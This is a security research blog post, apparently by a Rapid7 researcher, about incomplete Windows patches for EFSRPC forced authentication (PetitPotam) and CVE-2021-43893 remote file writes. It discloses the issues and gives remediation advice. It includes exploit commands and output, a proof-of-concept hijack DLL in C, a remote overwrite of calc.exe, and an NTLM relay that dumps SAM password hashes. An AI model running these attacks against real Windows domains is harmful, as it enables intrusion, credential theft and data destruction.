Last updated at Mon, 14 Feb 2022 16:11:40 GMT
On December 14, 2021, during the Log4Shell chaos, Microsoft published CVE-2021-43893, a remote privilege escalation vulnerability affecting the Windows Encrypted File System (EFS). The vulnerability was credited to James Forshaw of Google Project Zero, but perhaps owing to the Log4Shell atmosphere, the vulnerability gained little to no attention.
On January 13, 2022, Forshaw tweeted about the vulnerability.
The tweet suggests that CVE-2021-43893 was only issued a partial fix in the December 2021 update and that authenticated and remote users could still write arbitrary files on domain controllers. James linked to the Project Zero bug tracker, where an extended writeup and some proof-of-concept code was stored.
This vulnerability was of particular interest to me, because I had recently discovered a local privilege escalation (LPE) using file planting in a Windows product. The vulnerable product could reasonably be deployed on a system with unconstrained delegation, which meant I could use CVE-2021-43893 to remotely plant the file as a low-privileged remote user, turning my LPE into RCE.
I set out to investigate if the remote file-writing aspect of James Forshaw’s bug was truly unpatched. The investigation resulted in a few interesting observations:
- Low-privileged user remote file-writing was patched in the December update. However, before the December update, a remote low-privileged user really could write arbitrary files on system-assigned unconstrained delegation.
- Forced authentication and relaying are still not completely patched. Relay attacks initiated on the
efsrpc
named pipe have been known since inclusion in PetitPotam in July 2021. The issue seems to persist despite multiple patch attempts.
Although the file upload aspect of this vulnerability has been patched, I found the vulnerability quite interesting. The vulnerability is certainly limited by the restrictions on where a low-privileged user can create files on a Domain Controller, and maybe that is why the vulnerability didn’t receive more attention. But as I touched upon, it can be paired with a local vulnerability to achieve remote code execution, and as such, I thought it deserved more attention. I also have found the failure to properly patch forced authentication over the EFSRPC protocol to be worthy of more examination.
Inadequate EFSPRC forced authentication patching: A brief history of PetitPotam
PetitPotam was released in the summer of 2021 and was widely associated with an attack chain that starts as an unauthenticated and remote attacker and ends with domain administrator privileges. PetitPotam is only the beginning of that chain. It allows an attacker to force a victim Windows computer to authenticate to a third party (e.g. MITRE ATT&CK T118 - forced authentication). The full chain is interesting, but this discussion is only interested in the initial portion triggered by PetitPotam.
PetitPotam triggers forced authentication using the EFSRPC protocol. The original implementation of the exploit performed the attack over the lsarpc
named pipe. The attack is quite simple. Originally, PetitPotam sent the victim server an EfsRpcOpenFileRaw
request containing a UNC file path. Using a UNC path such as \\10.0.0.4\fake_share\fake_file
forces the victim server to reach out to the third-party server, 10.0.0.4 in this example, in order to read off of the desired file share. The third-party server can then tell the victim to authenticate in order to access the share, and the victim obliges. The result is the victim leaks their Net-NTLM hash. That’s the whole thing. We will later touch on what an attacker can do with this hash, but for this section, that’s all we need to know.
Microsoft first attempted to patch the EFSRPC forced authentication in August 2021 by blocking the use of EfsRpcOpenFileRaw
over the lsarpc
named pipe. To do this, they added logic to efslsaext.dll
’s EfsRpcOpenFileRaw_Downllevel
function to check for a value stored in the HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EFS\AllowOpenRawDL
. Because this registry key doesn’t exist by default, a typical configuration will always fail this check.
That patch was inadequate, because EfsRpcOpenFileRaw
isn’t the only EFSRPC function that accepts a UNC file path as a parameter. PetitPotam was quickly updated to use EfsRpcEncryptFileSrv
, and just like that, the patch was bypassed.
The patch also failed to recognize that the lsarpc
named pipe wasn’t the only named pipe that EFSRPC can be executed over. The efsrpc
named pipe (among others) can also be used. efsrpc
named pipe is slightly less desirable, since it requires the attacker to be authenticated, but the attack works over that pipe, and it doesn’t use the EfsRpcOpenFileRaw_Downlevel
function. That means an attacker can also bypass the patch by switching named pipes.
As mentioned earlier, PetitPotam was updated in July 2021 to use the efsrpc
named pipe. The following output shows PetitPotam forcing a Domain Controller patched through November 2021 to authenticate with an attacker controlled box running Responder.py (10.0.0.6) (I’ve left out the Responder bit since this is just meant to highlight the EFSRPC was available and unpatched for months).
albinolobster@ubuntu:~/impacket/examples$ python3 petitpotam.py -pipe efsr -u 'lowlevel' -p ‘cheesed00dle!' -d okhuman.ninja 10.0.0.6 10.0.0.5
___ _ _ _ ___ _
| _ \ ___ | |_ (_) | |_ | _ \ ___ | |_ __ _ _ __
| _/ / -_) | _| | | | _| | _/ / _ \ | _| / _` | | ' \
_|_|_ \___| _\__| _|_|_ _\__| _|_|_ \___/ _\__| \__,_| |_|_|_|
_| """ |_|"""""|_|"""""|_|"""""|_|"""""|_| """ |_|"""""|_|"""""|_|"""""|_|"""""|
"`-0-0-'"`-0-0-'"`-0-0-'"`-0-0-'"`-0-0-'"`-0-0-'"`-0-0-'"`-0-0-'"`-0-0-'"`-0-0-'
PoC to elicit machine account authentication via some MS-EFSRPC functions
by topotam (@topotam77)
Inspired by @tifkin_ & @elad_shamir previous work on MS-RPRN
[-] Connecting to ncacn_np:10.0.0.5[\PIPE\efsrpc]
[+] Connected!
[+] Binding to df1941c5-fe89-4e79-bf10-463657acf44d
[+] Successfully bound!
[-] Sending EfsRpcOpenFileRaw!
[+] Got expected ERROR_BAD_NETPATH exception!!
[+] Attack worked!
Not only did Microsoft fail to patch the issue, but they didn’t issue follow-up patches for months. They also haven’t updated their advisory indicating the vulnerability has been exploited in the wild, despite its inclusion in CISA’s Known Exploited Vulnerability Catalog.
In December 2021, Microsoft released a patch for a different EFSRPC vulnerability: CVE-2021-43217. As part of the remediation for that issue, Microsoft implemented some hardening measures on EFSRPC communication. In particular, EFSRPC clients would need to use RPC_C_AUTHN_LEVEL_PKT_PRIVACY
when using EFSRPC. If the client fails to do so, then the client is rejected and a Windows application event is generated.
At the time of the December patch, PetitPotam didn’t use this specific setting. However, a quick update allowed the exploit to comply with the new requirement and get back to leaking machine account NTLM hashes of fully patched Windows machines.
CVE-2021-43893: Windows EFS remote file upload
James Forshaw’s CVE-2021-43893 dives deeper into the EFSRPC functionality, but the heart of the issue is still a UNC file path problem. PetitPotam’s UNC path pointed to an external server, but CVE-2021-43893 points internally using the UNC path: \\.\C:\
. Using a UNC path that points to the victim’s local file system allows attackers to create files and directories on the victim file system.
There are two major caveats to this vulnerability. First, the file-writing aspect of this vulnerability only appears to work on systems with unconstrained delegation. That’s fine if you are only interested in Domain Controllers, but less good if you are only interested in workstations.
Second, the victim server is impersonating the attacker when the file manipulation occurs. This means a low-privileged attacker can only write to the places where they have permission (e.g. C:\ProgramData\
). Therefore, exploitation resulting in code execution is not a given. Still, while code execution isn’t guaranteed, there are many plausible scenarios that could lead there.
A plausible scenario leading to RCE using CVE-2021-43893
My interest in this vulnerability started with a local privilege escalation that I wanted to convert into remote code execution as a higher-privileged user. We can’t yet share the LPE as it’s still unpatched, but we can create a plausible scenario that demonstrates the ability to achieve code execution.
Microsoft has long maintained that Microsoft services vulnerable to DLL planting via a world writable %PATH%
directory are won’t-fix low-security issues — a weird position given the effort it would take to fix such issues. But regardless, exploiting world-writable %PATH
to escalate privileges via a Windows service (MITRE ATT&CK - Hijack Execution Flow: DLL Search Order Hijacking) is a useful technique when it’s available.
There’s a well-known product that installs itself into a world-writable directory: Python 2.7, all the way through it’s final release 2.7.18.
C:\Users\administrator>icacls.exe C:\Python27\
C:\Python27\ NT AUTHORITY\SYSTEM:(I)(OI)(CI)(F)
BUILTIN\Administrators:(I)(OI)(CI)(F)
BUILTIN\Users:(I)(OI)(CI)(RX)
BUILTIN\Users:(I)(CI)(AD)
BUILTIN\Users:(I)(CI)(WD)
CREATOR OWNER:(I)(OI)(CI)(IO)(F)
Successfully processed 1 files; Failed processing 0 files
The Python 2.7 installer drops files into C:\Python27\
and provides the user with the following instructions:
Besides using the automatically created start menu entry for the Python interpreter, you might want to start Python in the DOS prompt. To make this work, you need to set your %PATH% environment variable to include the directory of your Python distribution, delimited by a semicolon from other entries. An example variable could look like this (assuming the first two entries are Windows’ default):
C:\WINDOWS\system32;C:\WINDOWS;C:\Python25
Typing python on your command prompt will now fire up the Python interpreter. Thus, you can also execute your scripts with command line options, see Command line documentation.
Following these instructions, we now have a world-writable directory in %PATH%
— which is, of course, the exploitable condition we were looking for. Now we just have to find a Windows service that will search for a missing DLL in C:\Python27\
. I quickly accomplished this task by restarting all the running services on a test Windows Server 2019 and watching procmon. I found a number of services will search C:\Python27\
for:
- fveapi.dll
- cdpsgshims.dll
To exploit this, we just need to drop a “malicious” DLL named fveapi.dll
or cdpsgshims.dll
in C:\Python27
. The DLL will be loaded when a vulnerable service restarts or the server reboots.
For this simple example, the “malicious” dll just creates the file C:\r7.txt
:
#include <Windows.h>
HANDLE hThread;
DWORD dwThread;
DWORD WINAPI doCreateFile(LPVOID)
{
HANDLE createFile = CreateFileW(L"C:\\r7.txt", GENERIC_WRITE, NULL, NULL, CREATE_NEW, FILE_ATTRIBUTE_NORMAL, NULL);
CloseHandle(createFile);
return 0;
}
BOOL APIENTRY DllMain( HMODULE, DWORD ul_reason_for_call, LPVOID)
{
switch (ul_reason_for_call)
{
case DLL_PROCESS_ATTACH:
hThread = CreateThread(NULL, 0, doCreateFile, NULL, 0, &dwThread);
break;
case DLL_THREAD_ATTACH:
case DLL_THREAD_DETACH:
case DLL_PROCESS_DETACH:
break;
}
return TRUE;
}
After compiling the DLL, an attacker can remotely drop the file into C:\Python27
using CVE-2021-43893. The following is the output from our refactored and updated version of Forshaw’s original proof of concept. The attacker is attempting to remotely write the DLL on 10.0.0.6 (vulnerable.okhuman.ninja):
C:\ProgramData>whoami
okhuman\lowlevel
C:\ProgramData>.\blankspace.exe -r vulnerable.okhuman.ninja -f \\.\C:\Python27\fveapi.dll -i ./dll_inject64.dll
____ ___ __ ____
/\ _`\ /\_ \ /\ \ /\ _`\
\ \ \L\ \//\ \ __ ___\ \ \/'\ \ \,\L\_\ _____ __ ___ __
\ \ _ <'\ \ \ /'__`\ /' _ `\ \ , < \/_\__ \ /\ '__`\ /'__`\ /'___\ /'__`\
\ \ \L\ \\_\ \_/\ \L\.\_/\ \/\ \ \ \\`\ /\ \L\ \ \ \L\ \/\ \L\.\_/\ \__//\ __/
\ \____//\____\ \__/.\_\ \_\ \_\ \_\ \_\ \ `\____\ \ ,__/\ \__/.\_\ \____\ \____\
\/___/ \/____/\/__/\/_/\/_/\/_/\/_/\/_/ \/_____/\ \ \/ \/__/\/_/\/____/\/____/
\ \_\
\/_/
[+] Creating EFS RPC binding handle to vulnerable.okhuman.ninja
[+] Attempting to write to \\.\C:\Python27\fveapi.dll
[+] Encrypt the empty remote file...
[+] Reading the encrypted remote file object
[+] Read back 1244 bytes
[+] Writing 92160 bytes of attacker data to encrypted object::$DATA stream
[+] Decrypt the the remote file
[!] Success!
C:\ProgramData>
The attack yields the desired output, and the file is written to C:\Python27\ on the remote target.
Below is the Procmon output demonstrating successful code execution as NT AUTHORITY\ SYSTEM
when the “DFS Replication” service is restarted. Note that the malicious DLL is loaded and the file “C:\r7.txt” is created.
Do many administrators install Python 2.7 on their Domain Controller? I hope not. That wasn’t really the point. The point is that exploitation using this technique is plausible and worthy of our collective attention to ensure that it gets patched and monitored for exploitation.
What can a higher-privileged user do?
Oddly, administrators can do anything a low-level user can do except write data to files. When the administrator attempts to write to a file using Forshaw’s ::DATA stream technique, the result is an ACCESS DENIED error. Candidly, I didn’t investigate why.
However, it is interesting to note that the administrative user can remotely overwrite all files. This doesn’t serve much purpose from an offensive standpoint, but would serve as an easy, low-effort wiper or data destruction attack. Here is a silly example of remotely overwriting calc.exe from an administrator account.
C:\ProgramData>whoami
okhuman\test_admin
C:\ProgramData>.\blankspace.exe -r vulnerable.okhuman.ninja -f \\.\C:\Windows\System32\calc.exe -s "aaaaaaaaaaaa"
____ ___ __ ____
/\ _`\ /\_ \ /\ \ /\ _`\
\ \ \L\ \//\ \ __ ___\ \ \/'\ \ \,\L\_\ _____ __ ___ __
\ \ _ <'\ \ \ /'__`\ /' _ `\ \ , < \/_\__ \ /\ '__`\ /'__`\ /'___\ /'__`\
\ \ \L\ \\_\ \_/\ \L\.\_/\ \/\ \ \ \\`\ /\ \L\ \ \ \L\ \/\ \L\.\_/\ \__//\ __/
\ \____//\____\ \__/.\_\ \_\ \_\ \_\ \_\ \ `\____\ \ ,__/\ \__/.\_\ \____\ \____\
\/___/ \/____/\/__/\/_/\/_/\/_/\/_/\/_/ \/_____/\ \ \/ \/__/\/_/\/____/\/____/
\ \_\
\/_/
[+] Creating EFS RPC binding handle to vulnerable.okhuman.ninja
[+] Attempting to write to \\.\C:\Windows\System32\calc.exe
[+] Encrypt the empty remote file...
[-] EfsRpcEncryptFileSrv failed with status code: 5
C:\ProgramData>
As you can see from the output, the tool failed with status code 5 (Access Denied). However, calc.exe
on the remote device was successfully overwritten.
Technically speaking, this doesn’t really represent a security boundary being crossed. Administrators typically have access to \host\C$ or \host\admin$, but the difference in behavior seemed worth mentioning. I’d also note that as of February 2022, administrative users can still do this using \\localhost\C$\Windows\System32\calc.exe
.
Forshaw also mentioned in his original writeup, and I confirmed, that this attack generates the attacking user’s roaming profile on the victim server. That could be a pretty interesting file-upload vector if the Active Directory environment synchronizes roaming directories. Again, I didn’t investigate that any further, but it could be useful in the correct environment.
Forced authentication still not entirely patched
The December 2021 patch brought multiple changes to efslsaext.dll
and resulted in partial mitigation of CVE-2021-43893. One of the changes was the introduction of two new functions: EfsEnsureLocalPath
and EfsEnsureLocalHandle
. EfsEnsureLocalPath
grabs a HANDLE for the attacker provided file using CreateW. The HANDLE is then passed to EfsEnsureLocalHandle
, which passes the HANDLE to NtQueryVolumeInformationFile
to validate the characteristics flag doesn’t contain FILE_REMOTE_DEVICE.
Because the patch still opens a HANDLE using the attacker-controlled file path, EFSRPC remains vulnerable to forced authentication and relay attacks of the machine account.
Demonstration of the forced authentication and relay does not require the complicated attack often associated with PetitPotam. We just need three boxes:
The Relay (10.0.0.3): A Linux system running ntlmrelayx.py
.
The Attacker (10.0.0.6): A fully patched Windows 10 system.
The Victim (10.0.0.12): A fully patched Windows Server 2019 system.
The only caveat for this example is that the victim’s machine account (aka computer account) is assigned to the Domain Admins
group. Below, you can see the machine account for 10.0.0.12, YEET$, is a member of Domain Admins
.
This may not be a common configuration, but it’s common enough that it’s been the subject of a couple excellent writeups.
The attack is launched by a low-privileged user on 10.0.0.6 using the blankspace.exe
proof of concept. The attack will force 10.0.0.12 (yet.okhuman.ninja) to authenticate to the attacker relay at 10.0.0.3
C:\ProgramData>blankspace.exe -r yeet.okhuman.ninja -f \\10.0.0.3\r7\r7 --relay
____ ___ __ ____
/\ _`\ /\_ \ /\ \ /\ _`\
\ \ \L\ \//\ \ __ ___\ \ \/'\ \ \,\L\_\ _____ __ ___ __
\ \ _ <'\ \ \ /'__`\ /' _ `\ \ , < \/_\__ \ /\ '__`\ /'__`\ /'___\ /'__`\
\ \ \L\ \\_\ \_/\ \L\.\_/\ \/\ \ \ \\`\ /\ \L\ \ \ \L\ \/\ \L\.\_/\ \__//\ __/
\ \____//\____\ \__/.\_\ \_\ \_\ \_\ \_\ \ `\____\ \ ,__/\ \__/.\_\ \____\ \____\
\/___/ \/____/\/__/\/_/\/_/\/_/\/_/\/_/ \/_____/\ \ \/ \/__/\/_/\/____/\/____/
\ \_\
\/_/
[+] Creating EFS RPC binding handle to yeet.okhuman.ninja
[+] Sending EfsRpcDecryptFileSrv for \\10.0.0.3\r7\r7
[-] EfsRpcDecryptFileSrv failed with status code: 53
[+] Network path not found error received!
[!] Success!
C:\ProgramData>
The Linux relay is running ntlmrelayx.py and configured to relay the YEET$ authentication to 10.0.0.6 (the original attacker box). Below, you can see ntlmrelayx.py
capture the authentication and send it on to 10.0.0.6.
albinolobster@ubuntu:~/impacket/examples$ sudo python3 ntlmrelayx.py -debug -t 10.0.0.6 -smb2support
Impacket v0.9.25.dev1+20220105.151306.10e53952 - Copyright 2021 SecureAuth Corporation
[*] SMBD-Thread-4: Connection from OKHUMAN/YEET$@10.0.0.12 controlled, attacking target smb://10.0.0.6
[*] Authenticating against smb://10.0.0.6 as OKHUMAN/YEET$ SUCCEED
The relay is now authenticated to 10.0.0.6 as YEET$
, a domain administrator. It can do pretty much as it pleases. Below, you can see it dumps the local SAM database.
[*] Target system bootKey: 0x9f868ddb4e1dfc56d992aa76ff931df4
[+] Saving remote SAM database
[*] Dumping local SAM hashes (uid:rid:lmhash:nthash)
[+] Calculating HashedBootKey from SAM
[+] NewStyle hashes is: True
Administrator:500:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
[+] NewStyle hashes is: True
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
[+] NewStyle hashes is: True
DefaultAccount:503:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
[+] NewStyle hashes is: True
WDAGUtilityAccount:504:aad3b435b51404eeaad3b435b51404ee:6aa01bb4a68e7fd8650cdeb6ad2b63ec:::
[+] NewStyle hashes is: True
albinolobster:1000:aad3b435b51404eeaad3b435b51404ee:430ef7587d6ac4410ac8b78dd5cc2bbe:::
[*] Done dumping SAM hashes for host: 10.0.0.6
It’s as easy as that. All you have to do is find a host with a machine account in the domain admins group:
C:\ProgramData>net group "domain admins" /domain
The request will be processed at a domain controller for domain okhuman.ninja.
Group name Domain Admins
Comment Designated administrators of the domain
Members
-------------------------------------------------------------------------------
Administrator test_domain_admin YEET$
The command completed successfully.
C:\ProgramData>
Once you have that, a low-privileged remote attacker can use EFSRPC to relay and escalate to other machines. However, the attack isn’t exactly silent. On 10.0.0.6, event ID 4624 was created when the 10.0.0.3 relay logged in using the YEET$ machine account.
Final thoughts and remediation
What began as an investigation into using an unpatched remote file-write vulnerability ended up being a history lesson in EFSRPC patches. The remote file-write vulnerability that I originally wanted to use has been patched, but we demonstrated the forced authentication issue hasn’t been adequately fixed. There is no doubt that Windows developers have a tough job. However, a lot of the issues discussed here could have been easily avoided with a reasonable patch in August 2021. The fact that they persist today says a lot about the current state of Windows security.
To mitigate these issues as best as possible, as always, ensure your systems are successfully updated monthly. Microsoft has released multiple advisories with recommendations regarding NTLM Relay-based attacks (see: Microsoft Security Advisory 974926
and KB5005413: Mitigating NTLM Relay Attacks on Active Directory Certificate Services (AD CS). The most important advice is to ensure SMBv1 no longer exists in your environment and to require SMB signing.
Some other general advice:
- Monitoring for event ID 4420 in Windows application event logs can help detect EFSRPC-based hacking tools.
- Monitor for event ID 4624 in Windows security event logs for remote machine account authentication.
- Audit machine accounts to ensure they are not members of Domain Admins.
If possible, audit %PATH% of critical systems to ensure no world-writable path exists.
Rapid7 customers
InsightVM and Nexpose customers can assess their exposure to CVE-2021-43893 with authenticated vulnerability checks available in the December 15, 2021 content release.
Metasploit Framework users can test their exposure to forced authentication attacks with a new PetitPotam module available in the 6.1.29 release.
Additional reading:
- PetitPotam: Novel Attack Chain Can Fully Compromise Windows Domains Running AD CS
- Driver-Based Attacks: Past and Present
- Open-Source Security: Getting to the Root of the Problem
- Ongoing Exploitation of Windows Installer CVE-2021-41379